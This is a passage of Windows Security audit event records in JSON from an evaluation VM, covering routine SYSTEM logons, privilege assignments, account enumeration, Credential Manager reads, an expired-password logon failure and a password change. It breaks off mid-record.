{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.802823Z"}},"EventRecordID":20994,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.802829Z"}},"EventRecordID":20995,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.803058Z"}},"EventRecordID":20996,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xc94","CallerProcessName":"C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\sqlwriter.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.931264Z"}},"EventRecordID":20997,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.931271Z"}},"EventRecordID":20998,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:08.576651Z"}},"EventRecordID":20999,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:08.576659Z"}},"EventRecordID":21000,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:08.614464Z"}},"EventRecordID":21001,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:08.614472Z"}},"EventRecordID":21002,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4798,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:08.928598Z"}},"EventRecordID":21003,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x5c4","CallerProcessName":"C:\\Windows\\System32\\LogonUI.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5024,"Version":0,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:08.979157Z"}},"EventRecordID":21004,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.057088Z"}},"EventRecordID":21005,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.057093Z"}},"EventRecordID":21006,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.286059Z"}},"EventRecordID":21007,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.286065Z"}},"EventRecordID":21008,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.329460Z"}},"EventRecordID":21009,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02jcokiuqaihmliq;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.329661Z"}},"EventRecordID":21010,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02jcokiuqaihmliq;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.329718Z"}},"EventRecordID":21011,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.177215Z"}},"EventRecordID":21012,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.177414Z"}},"EventRecordID":21013,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.177461Z"}},"EventRecordID":21014,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4625,"Version":0,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8010000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:15.070678Z"}},"EventRecordID":21015,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-0-0","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","Status":"0xc000006e","FailureReason":"%%2309","SubStatus":"0xc0000071","LogonType":2,"LogonProcessName":"User32 ","AuthenticationPackageName":"Negotiate","WorkstationName":"WINDEV2401EVAL","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x84c","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"127.0.0.1","IpPort":"0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4723,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.083427Z"}},"EventRecordID":21016,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","PrivilegeList":"-"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4648,"Version":0,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.123632Z"}},"EventRecordID":21017,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","LogonGuid":"00000000-0000-0000-0000-000000000000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogon